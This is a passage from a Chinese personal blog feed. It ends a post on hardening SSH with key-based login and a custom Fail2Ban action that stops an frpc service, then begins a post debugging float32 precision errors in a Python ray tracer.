<h2 id="加固-ssh">加固 SSH</h2>
<p>面对这样力度的爆破，加固 SSH 是在所难免了。常用的加固方法：</p>
<ul>
<li>更换端口</li>
<li>使用密钥对登录</li>
<li>禁用密码登录，禁用 root 登录</li>
<li>Fail2Ban 等自动封禁</li>
</ul>
<p>对于更换端口，frp 转发出去的已经是一个奇葩高位端口，仍然被轻易探测到并疯狂爆破（后来新配置的其他高位端口也同样分分钟被探查到）；而服务器本身的 22 端口虽然也有被攻击的记录，但是远远少于树莓派受到的攻击量。因此可以说更换端口是一个并没有太大用处的方法。</p>
<p>使用密钥对登录才是真正的杀手锏，毕竟普通密码也许可以试出来，私钥试到下下辈子试到沧海桑田也不一定试得出来。在本地执行以下指令（替换邮箱或说明文字）生成使用 ed25519 算法生成的公私密钥对：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh-keygen -t ed25519 -C <span class="s2">&#34;your_email@example.com&#34;</span></span></span></code></pre></div><p>（推荐使用 ed25519，相比 RSA 更安全，密钥反而还更短）</p>
<p>生成密钥后，可以用这个指令（按需修改密钥位置）添加/修改/删除密钥的密码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh-keygen -p -f ~/.ssh/id_ed25519</span></span></code></pre></div><p>最后使用这个指令把公钥复制到需要访问的服务器的 <code>~/.ssh/authorized_keys</code> 中：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh-copy-id user@host</span></span></code></pre></div><p>当然，也可以手动把公钥复制到对应机器的 <code>~/.ssh/authorized_keys</code> 里。</p>
<p>完成公钥的设置以后，就可以把服务器的密码登录和 root 登录禁用了。打开 <code>/etc/ssh/sshd_config</code> 文件，编辑以下项：</p>





<pre tabindex="0"><code class="language-sshd_config" data-lang="sshd_config">ChallengeResponseAuthentication no
PasswordAuthentication no
PermitRootLogin no
UsePAM no</code></pre><p>编辑完成后使用 <code>sudo systemctl reload sshd</code> 使配置生效。</p>
<h2 id="使用-fail2ban">使用 Fail2Ban</h2>
<h3 id="更多的问题">更多的问题</h3>
<p>完成上一节的设置后，你的 SSH 端口可以说已经是相当坚固了。除非存在配置错误或是 SSH Server 存在严重 0-day 漏洞，否则除了你，神仙也进不了你的服务器。</p>
<p>可是这不妨碍攻击者继续攻击。加固 SSH 之后 ，动不动还是会有人来对树莓派的 SSH 端口进行一波上万次的爆破尝试，可以看得出来基本是在遍历一个常用用户名字典。在十分钟之内进行将近两万次攻击，最多的时候每秒 50 次左右的访问，这对于树莓派来说压力非常大，妥妥的是 DDOS 了。</p>
<p>一波不爽之后，决定上最后一层杀手锏，自动封禁。自动封禁工具的原理非常简单，它会自动监视目标服务的 log（对于 SSH 来说就是 <code>/var/log/auth.log</code>），如果一个 IP 在一定时间内失败超过特定次数，就对其进行封禁操作（比如在 iptables / ufw 中封禁对应 IP）。可以用于 SSH 的自动封禁工具五花八门，<a href="https://github.com/fail2ban/fail2ban">Fail2Ban</a>、<a href="https://github.com/denyhosts/denyhosts">DenyHosts</a>、<a href="https://www.sshguard.net/">SSHGuard</a> 等都可以实现对应的功能。我这里选用了较为通用和强大，并且仍有开发组活跃维护的 Fail2Ban。</p>
<h3 id="安装">安装</h3>
<p>Fail2Ban 在 Ubuntu / Debian 上的配置相当容易。</p>
<p>首先安装。使用 apt 安装的 Fail2Ban 版本较老，可以选择手动安装/升级最新版本。官方提供了文档：<a href="https://github.com/fail2ban/fail2ban/wiki/How-to-install-or-upgrade-fail2ban-manually">How to install or upgrade fail2ban manually</a>，基本操作如下：</p>
<ol>
<li>
<p>下载安装包（这里略去文档中提供的验证环节）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget https://github.com/fail2ban/fail2ban/releases/download/0.11.2/fail2ban_0.11.2-1.upstream1_all.deb</span></span></code></pre></div></li>
<li>
<p>停止 Fail2Ban 服务（如有）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo fail2ban-client stop</span></span></code></pre></div></li>
<li>
<p>安装刚下载的安装包</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dpkg -i fail2ban_0.11.2-1.upstream1_all.deb</span></span></code></pre></div></li>
</ol>
<p>这样，就可以用上最新版本的 Fail2Ban 了。</p>
<h3 id="配置">配置</h3>
<p>在 Ubuntu / Debian 上，sshd 的 jail 已经默认启用了（<code>/etc/fail2ban/jail.d/defaults-debian.conf</code>)。在 <code>/etc/fail2ban/</code> 下新建 <code>jail.local</code> 来对默认配置（<code>jail.conf</code>）进行覆盖修改：（不应该直接去修改原本的配置文件）</p>





<pre tabindex="0"><code class="language-conf" data-lang="conf">[sshd]
enabled = true
mode = aggressive
maxretry = 10
findtime = 1h
bantime = 12h</code></pre><p>修改完毕后执行 <code>sudo fail2ban-client reload</code> 重载配置。</p>
<p>为了能够抓取到私钥验证失败的 log，这里选用了 aggressive 模式，具体可以看 <code>/etc/fail2ban/filter.d/sshd.conf</code> 中的正则表达式定义与 110 行左右的注释。注意这只在较新的版本中才支持，详见这条 <a href="https://github.com/fail2ban/fail2ban/issues/2115">issue#2115</a> 的讨论。</p>
<p>然后为这个 jail 配置了最大失败次数为 10，统计失败的时间窗口大小为 1 小时，封禁时间为 12 小时。注意，一次失败的请求可能会产生不止一条 log，每一条被正则识别到的失败 log 都会被 Fail2Ban 认为是一次失败。为了防止一不小心把自己关在外面，不能设置太小的 <code>maxretry</code>。</p>
<h2 id="extra-juice">Extra Juice</h2>
<h3 id="分析">分析</h3>
<p>上一节使用的 <code>jail.local</code> 配置文件在我搭建 frp 转发服务的云服务器上完美的守护着 SSH 端口。然而对于本地的树莓派来说，这仍然不太够。</p>
<p>首先，frpc 在访问本地 SSH 22 端口的时候，<code>auth.log</code> 中记录的 IP 是 <code>127.0.0.1</code>，而非远程攻击者的 IP。显然由于现在 frp 的限制，远程连接的 IP 元信息并不能很好的传递到本地来。而 Fail2Ban 默认忽略本地 IP，需要修改对应配置。</p>
<p>另外，就算本地 iptables 将 <code>127.0.0.1</code> 封禁，攻击者的访问请求仍然会被转发到本地，然后 frp 再把拒绝信息转发回去，白白消耗服务器流量和带宽。如果能在封禁 IP 的同时，直接暂时停用本地的 frpc 服务，那就最好了。这样一来攻击的请求将直接在云服务器端被拒绝掉，根本不会到达本地。</p>
<h3 id="实现">实现</h3>
<p>在 Fail2Ban 中实现前者非常容易，配置中加入 <code>ignoreself = false</code> 即可。</p>
<p>对于后者，需要自己实现一个 action 来执行操作。在 <code>/etc/fail2ban/action.d/</code> 下新建文件 <code>systemd.local</code>（或是其他你喜欢的名字），在其中定义一个能够自动关闭服务的 action：</p>





<pre tabindex="0"><code class="language-conf" data-lang="conf"># Fail2Ban configuration file
#
# Author: SteveHawk
# Modified for auto stopping frpc (or other kinds of) systemd services.
#

[Definition]

# Option:  actionstart
# Notes.:  command executed on demand at the first ban (or at the start of Fail2Ban if actionstart_on_demand is set to false).
# Values:  CMD
#
actionstart = if systemctl -q is-active &lt;service&gt;; then touch &lt;tmp_file&gt;; fi

# Option:  actionstop
# Notes.:  command executed at the stop of jail (or at the end of Fail2Ban)
# Values:  CMD
#
actionstop = if [ -f &#39;&lt;tmp_file&gt;&#39; ]; then systemctl start &lt;service&gt; &amp;&amp; rm &lt;tmp_file&gt;; fi

# Option:  actioncheck
# Notes.:  command executed once before each actionban command
# Values:  CMD
#
actioncheck = systemctl list-units --all --type=service | grep -q &lt;service&gt;

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = systemctl stop &lt;service&gt;

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = if [ -f &#39;&lt;tmp_file&gt;&#39; ]; then systemctl start &lt;service&gt;; fi

[Init]

service = frpc
tmp_file = /tmp/&lt;service&gt;-active.fail2ban</code></pre><p>其中 <code>[Init]</code> 部分定义了可以被覆盖的变量，这里声明了服务名称和对应的用于保存状态的临时文件路径，这样可以很方便的在调用 action 的 jail 配置文件中指定 frpc 之外的 systemd 服务。</p>
<p><code>[Definition]</code> 部分则是重头戏，共定义了 5 组指令：</p>
<ul>
<li><code>actionstart</code>
第一次执行封禁的时候执行的操作（需设置 <code>actionstart_on_demand=true</code>，否则会在服务启用时就执行）。我们自然不希望 Fail2Ban 去把一个本来被禁用的服务启用起来，只希望把启用状态的服务在封禁的时候禁用，解禁的时候启用。因此这里如果读取到服务为启用状态，就在指定路径生成一个临时文件，记录该服务最开始为启用状态。</li>
<li><code>actionstop</code>
jail 或 服务停止时执行的指令。这里检查是否存在临时文件，存在的话启用服务，并删除该文件。</li>
<li><code>actioncheck</code>
在执行每次封禁/解禁操作前执行的检查操作，需要返回一个布尔值，为真时才会执行封禁/解禁对应的指令。其实可以留空，不过这里定义的命令会去检查该服务是否存在。</li>
<li><code>actionban</code>
封禁命令。简单粗暴，直接停止服务。</li>
<li><code>actionunban</code>
解禁命令。如果存在临时文件，则重新启用服务。</li>
</ul>
<p>最终，将 <code>jail.local</code> 编辑为：</p>





<pre tabindex="0"><code class="language-conf" data-lang="conf">[sshd]
enabled = true
ignoreself = false
action = %(known/action)s
         systemd[service=frpc, actionstart_on_demand=true]
mode = aggressive
maxretry = 10
findtime = 15m
bantime = 30m</code></pre><p>配置完成后执行 <code>sudo fail2ban-client reload</code> 重载配置。</p>
<p>其中 <code>action</code> 后面跟着的 <code>%(known/action)s</code> 会被自动替换为之前定义的 action，这样写相当于直接在原本的 action 上 append 了一个新的 action，非常方便。而 systemd action 中的 service 也可以填写任意别的服务名，轻松完成一样的功能。</p>
<p>不过这里我选择将 <code>findtime</code> 调整为较短的 15 分钟，<code>bantime</code> 调整为较短的半小时，因为仍然需要保证转发服务大部分时间的可用性，所以只封禁短时间内的大量失败，并且很快就重新上线服务。</p>
<h3 id="缺陷">缺陷</h3>
<p>然而需要指出的是，这样子的配置有两点缺陷：</p>
<ul>
<li>
<p>这个 action 只能记录 <code>actionstart</code> 时的服务状态，后面如果用户有手动更改状态的话，Fail2Ban 不会知道。会有两种情况：原本启用的服务，在 Fail2Ban 执行封禁解封以后如果用户手动禁用服务，下一次解封的时候 Fail2Ban 还是会自动重新启用；原本禁用的服务，在 Fail2Ban 执行封禁解封以后如果用户手动启用服务，下一次解封的时候 Fail2Ban 不会自动启用。</p>
</li>
<li>
<p>这样的配置非常容易被拒绝访问攻击。幸好我对于可用性的要求并不高，因此不会是个大问题。</p>
</li>
</ul>
<h2 id="尾声">尾声</h2>





<pre tabindex="0"><code class="language-log" data-lang="log">2021-05-10 02:33:59,794 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:33:59
2021-05-10 02:33:59,942 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:33:59
2021-05-10 02:33:59,949 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:33:59
2021-05-10 02:34:00,006 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,008 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,032 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,040 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,055 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,065 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,093 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,101 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,108 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,109 fail2ban.actions        [539]: NOTICE  [sshd] Ban 127.0.0.1</code></pre><p>成功的拦下了攻击！目标完美达成。</p>
]]></content:encoded>
    </item>
    <item>
      <title>一个光追的神秘 Bug</title>
      <link>https://sttev.com/posts/37-rt-bug/</link>
      <pubDate>Wed, 27 May 2020 03:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/37-rt-bug/</guid>
      <description>&lt;h2 id=&#34;引子&#34;&gt;引子&lt;/h2&gt;&#xA;&lt;p&gt;最近在照着 &lt;a href=&#34;https://raytracing.github.io/&#34;&gt;Ray Tracing In One Weekend&lt;/a&gt; 系列用 Python 实现一个蒙特卡洛光追器（代码在&lt;a href=&#34;https://github.com/SteveHawk/RayTracing-Py&#34;&gt;这里&lt;/a&gt;）。第一本书的内容已经写完，但是由于 Python 感人的性能，我决定在学第二本书之前先把这个尚不完备的光追器进行一些性能优化。终于，优化后的性能可以让我在能够接受的时间内渲染出一张足够炫的图了。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="引子">引子</h2>
<p>最近在照着 <a href="https://raytracing.github.io/">Ray Tracing In One Weekend</a> 系列用 Python 实现一个蒙特卡洛光追器（代码在<a href="https://github.com/SteveHawk/RayTracing-Py">这里</a>）。第一本书的内容已经写完，但是由于 Python 感人的性能，我决定在学第二本书之前先把这个尚不完备的光追器进行一些性能优化。终于，优化后的性能可以让我在能够接受的时间内渲染出一张足够炫的图了。</p>
<p>然而，在渲染第一本书最后一章的场景时，我碰到了一个神秘的 Bug。运行的时候，虽然不会出现 Exception 停止渲染，但是 Numpy 会出现这样的运行时警报：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">...</span>\<span class="n">InOneWeekend_optimized</span>\<span class="n">utils</span>\<span class="n">vec3</span><span class="o">.</span><span class="n">py</span><span class="p">:</span><span class="mi">95</span><span class="p">:</span> <span class="ne">RuntimeWarning</span><span class="p">:</span> <span class="n">invalid</span> <span class="n">value</span> <span class="n">encountered</span> <span class="ow">in</span> <span class="n">sqrt</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="n">normal</span> <span class="o">*</span> <span class="p">(</span><span class="o">-</span><span class="n">np</span><span class="o">.</span><span class="n">sqrt</span><span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">r_out_parallel</span><span class="o">.</span><span class="n">length_squared</span><span class="p">()))</span></span></span></code></pre></div><p>这里其实一共会出现 8 个 <code>RuntimeWarning</code>，我只附上了引起连锁问题的第一个警报。</p>
<p>这是一个相当偶发的 Bug，在一整张 1080P 分辨率、大约几十的采样数和递归深度的图渲染的过程中，这个问题只会出现一到两次。而发生问题的这个位置是在 Vec3 类中计算透明材质折射的位置出现的，这个函数的调用量绝对巨大。</p>
<p>我其实完全可以忽略这个问题，因为实在偶发，并且也不会影响结果。但是去他的，我花了整整两天时间找到了问题的根源。</p>
<h2 id="debug">Debug</h2>
<h3 id="无效值">无效值</h3>
<p>为什么会出现 <code>invalid value</code>？在 Numpy 的计算中，只有两种可能会出现无效值：一是人为引入了无效值，这些无效值在参与计算的时候会报警；二是计算出现了无效值，例如除零等问题。我在优化过程中确保不会人为引入 <code>np.inf</code>，<code>np.nan</code> 这样的无效值，也确保了计算时不会出现除零问题，那这里又是为什么会出现无效值呢？很显然是开根号出现了负数，也就是 <code>r_out_parallel</code> 向量的长度的平方超过了 1。我们看一下这个函数的代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">def</span> <span class="nf">refract</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">normal</span><span class="p">:</span> <span class="n">Vec3</span><span class="p">,</span> <span class="n">etai_over_etat</span><span class="p">:</span> <span class="nb">float</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Vec3</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="n">cos_theta</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="o">-</span><span class="bp">self</span> <span class="o">@</span> <span class="n">normal</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="n">r_out_parallel</span><span class="p">:</span> <span class="n">Vec3</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span> <span class="o">+</span> <span class="n">normal</span><span class="o">*</span><span class="n">cos_theta</span><span class="p">)</span> <span class="o">*</span> <span class="n">etai_over_etat</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="n">r_out_prep</span><span class="p">:</span> <span class="n">Vec3</span> <span class="o">=</span> \
</span></span><span class="line"><span class="ln">5</span><span class="cl">        <span class="n">normal</span> <span class="o">*</span> <span class="p">(</span><span class="o">-</span><span class="n">np</span><span class="o">.</span><span class="n">sqrt</span><span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">r_out_parallel</span><span class="o">.</span><span class="n">length_squared</span><span class="p">()))</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="k">return</span> <span class="n">r_out_parallel</span> <span class="o">+</span> <span class="n">r_out_prep</span></span></span></code></pre></div><p>在这个函数中，我们会首先将单位长度的自己（入射光线）和单位长度的法线进行点乘并取负，获得 cosθ 的值（θ 为入射角）。然后我们根据折射定律，就可以求出折射光线的两个垂直分量的值。在求 <code>r_out_parallel</code> 的过程中，<code>etai_over_etat</code> 是一个根据折射率确定的定值，变量在于 <code>self</code> 和 <code>normal</code>，也就是入射光线和法线。如果两者都是确保为单位长度，那计算结果的长度绝对不会大于 1。</p>
<p>查看唯一调用了这个函数的 Dielectric 材质的代码，可以看到入射光线由这一行定义：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">unit_direction</span><span class="p">:</span> <span class="n">Vec3</span> <span class="o">=</span> <span class="n">r_in</span><span class="o">.</span><span class="n">direction</span><span class="p">()</span><span class="o">.</span><span class="n">unit_vector</span><span class="p">()</span></span></span></code></pre></div><p>非常明显，入射光线保证是单位长度。查看之前法线的计算代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">outward_normal</span><span class="p">:</span> <span class="n">np</span><span class="o">.</span><span class="n">ndarray</span> <span class="o">=</span> <span class="p">(</span><span class="n">point</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">center</span><span class="o">.</span><span class="n">e</span><span class="p">)</span> <span class="o">/</span> <span class="bp">self</span><span class="o">.</span><span class="n">radius</span></span></span></code></pre></div><p>法线也确保是单位长度…？那这就非常奇怪了。</p>
<p>自然而然，我在 refract 函数加了输出 log 的代码，然后试图复现。由于太过随机，我只能开一个足够复杂的渲染，然后期待可能长达一个多小时的渲染中能够出现一次这个问题。结果证明，是法线可能出现长度大于 1 的情况。（而且不是误差的那种大一点点，是很明显的大很多；毕竟大一点点也不会触发报警）</p>
<h3 id="法线长度">法线长度</h3>
<p>奇怪？明明我们的法线除以了球体的半径了，这应该会保证法线长度为单位长度的啊。我在这代码附近做了些测试，发现一般情况下，法线的长度可能会因为浮点误差稍稍大于 1，绝大部分的情况下长度都满足小于 1.003，这在意料之中，并不会造成问题。但是造成问题的就是在极稀有的情况下，这个长度会远超过 1，以下是记录到的几个异常向量的值（后面跟的是长度的平方）：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">[ 3.3827233  -1.2850341  -0.84744215] 13.812287
</span></span><span class="line"><span class="ln">2</span><span class="cl">[-0.08962154 -2.7663574   0.6211221 ] 8.046557
</span></span><span class="line"><span class="ln">3</span><span class="cl">[-1.1635733  -1.8047484   0.29541224] 4.698288
</span></span><span class="line"><span class="ln">4</span><span class="cl">[ 1.272459  -1.310974   1.5275431] 5.6711926</span></span></code></pre></div><p>光看这个值看不出什么名堂，我一起记录了光线的入射点、方向、长度的信息：（第一条没有记录到）</p>
<h4 id="divergence-1">Divergence 1</h4>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">normal: [-0.08962154 -2.7663574   0.6211221 ]
</span></span><span class="line"><span class="ln">2</span><span class="cl">length_squared: 8.046557
</span></span><span class="line"><span class="ln">3</span><span class="cl">ray.origin: [764.490478515625 -1161.707275390625 624.0230102539062]
</span></span><span class="line"><span class="ln">4</span><span class="cl">ray.direction: [-0.7604150772094727 1.1616960763931274 -0.6264601945877075]
</span></span><span class="line"><span class="ln">5</span><span class="cl">ray.t: 999.7055053710938</span></span></code></pre></div><h4 id="divergence-2">Divergence 2</h4>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">normal: [-1.1635733  -1.8047484   0.29541224]
</span></span><span class="line"><span class="ln">2</span><span class="cl">length_squared: 4.698288
</span></span><span class="line"><span class="ln">3</span><span class="cl">ray.origin: [-858.3599243164062 -920.5106201171875 -506.8523864746094]
</span></span><span class="line"><span class="ln">4</span><span class="cl">ray.direction: [0.8497467637062073 0.9204732179641724 0.5076704025268555]
</span></span><span class="line"><span class="ln">5</span><span class="cl">ray.t: 999.8658</span></span></code></pre></div><h4 id="divergence-3">Divergence 3</h4>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">normal: [ 1.272459  -1.310974   1.5275431]
</span></span><span class="line"><span class="ln">2</span><span class="cl">length_squared: 5.6711926
</span></span><span class="line"><span class="ln">3</span><span class="cl">ray.origin: [963.6956787109375 -784.3375854492188 157.41766357421875]
</span></span><span class="line"><span class="ln">4</span><span class="cl">ray.direction: [-0.9603748917579651 0.7843140959739685 -0.16341014206409454]
</span></span><span class="line"><span class="ln">5</span><span class="cl">ray.t: 999.9506225585938</span></span></code></pre></div><p>首先能注意到的异状非常明显：光线的来源点非常可疑。这个场景在渲染的时候，地面是一个半径 1000 长度的大球，而这几个点非常明显都在球上，而且是很远很靠下的位置，渲染的时候光线应该不太能达到这些点。不过我们先假设能打到好了，计算本身应该不会有问题吧？在哪儿的点打过来都应该计算正确才对，但是这些光线算出来的法线就是会明显偏大。难道是误差？</p>
<h3 id="npfloat32">np.float32</h3>
<p>没错，我用了 <code>np.float32</code>。因为心想着单精度算起来更快，而且精度大概也够，双精度仿佛太 overkill，所以在设计之初选择了在系统里统一使用单精度。我们看一下计算光线与球体碰撞的代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">oc</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">origin</span><span class="p">()</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">center</span><span class="o">.</span><span class="n">e</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">direction</span><span class="p">()</span><span class="o">**</span><span class="mi">2</span><span class="p">)</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">half_b</span> <span class="o">=</span> <span class="p">(</span><span class="n">oc</span> <span class="o">*</span> <span class="n">r</span><span class="o">.</span><span class="n">direction</span><span class="p">())</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">oc</span><span class="o">**</span><span class="mi">2</span><span class="p">)</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">radius</span><span class="o">**</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">discriminant_list</span> <span class="o">=</span> <span class="n">half_b</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="n">a</span><span class="o">*</span><span class="n">c</span></span></span></code></pre></div><p>我们再看一看 Divergence 3 的计算中，这几个中间值：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">oc: [ 960.582   -784.5376   163.70758]
</span></span><span class="line"><span class="ln">2</span><span class="cl">a: 1.5641714
</span></span><span class="line"><span class="ln">3</span><span class="cl">half_b: -1564.5942
</span></span><span class="line"><span class="ln">4</span><span class="cl">c: 1565017.1
</span></span><span class="line"><span class="ln">5</span><span class="cl">discriminant: 0.25</span></span></code></pre></div><p>震撼猫咪。根据 IEEE 754 标准，32 位浮点数用于表示有效数字的部分只有 23 bit，这个数字太大，以至于整数部分撑满了有效数字，小数部分完全不够表示了。于是这直接导致了最后计算 t 值时偏差过大，又导致计算得到的入射点偏差过大，最终导致法线的超大误差。</p>
<p>破案&#x1f389;！这种选择单精度浮点数的行为是懒惰的体现，是对万千先人对精度的追求的侮辱，这种人渣行为应当取缔。（但是真的是这样吗？）</p>
<h3 id="地球">“地球”</h3>
<p>还有几个疑点我们没有解决：入射光线的源点，和光线的长度。为什么源点都在底下的那个大球（地球）上？为什么都在似乎完全照射不到的位置（我的模型完全不会考虑爱因斯坦老爷子讲的引力作用）？以及还有一个相当可疑的，为什么所有光线的长度都正好是 999.*？</p>
<p>我们先解决最容易的，999。整个光追器里，唯一一个值是 1000 的常量，就是地球的半径。这种奇妙的联系一定会怀疑吧？我尝试了一个很简单的关联测试，就是把地球的半径调整到 1200，然后再试着复现一次。</p>
<h4 id="divergence-4">Divergence 4</h4>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">normal: [-2.146833   -4.778076    0.47927737]
</span></span><span class="line"><span class="ln">2</span><span class="cl">length_squared: 27.668612
</span></span><span class="line"><span class="ln">3</span><span class="cl">ray.origin: [-615.9678955078125 -2229.79443359375 10.366312980651855]
</span></span><span class="line"><span class="ln">4</span><span class="cl">ray.direction: [0.5196393132209778 1.858138084411621 -0.011417373083531857]
</span></span><span class="line"><span class="ln">5</span><span class="cl">ray.t: 1199.6087646484375</span></span></code></pre></div><p>于是，这关联就板上钉钉实锤了。</p>
<p>到这份上，想要解释也不难了。想一下光线的源点和方向，就会发现这几个异常无一例外都是在地球表面很偏远的角落，并且法线指向球内部。我们看一看采用 lambertian 散射的磨砂材质的代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">class</span> <span class="nc">Lambertian</span><span class="p">(</span><span class="n">Material</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">:</span> <span class="n">Color</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">albedo</span> <span class="o">=</span> <span class="n">a</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="k">def</span> <span class="nf">scatter</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">r_in</span><span class="p">:</span> <span class="n">Ray</span><span class="p">,</span> <span class="n">rec</span><span class="p">:</span> <span class="n">HitRecord</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Ray</span><span class="p">,</span> <span class="n">Color</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">        <span class="n">scatter_direction</span><span class="p">:</span> <span class="n">Vec3</span> <span class="o">=</span> <span class="n">rec</span><span class="o">.</span><span class="n">normal</span> <span class="o">+</span> <span class="n">Vec3</span><span class="o">.</span><span class="n">random_unit_vector</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">        <span class="n">scattered</span> <span class="o">=</span> <span class="n">Ray</span><span class="p">(</span><span class="n">rec</span><span class="o">.</span><span class="n">p</span><span class="p">,</span> <span class="n">scatter_direction</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">        <span class="n">attenuation</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">albedo</span>
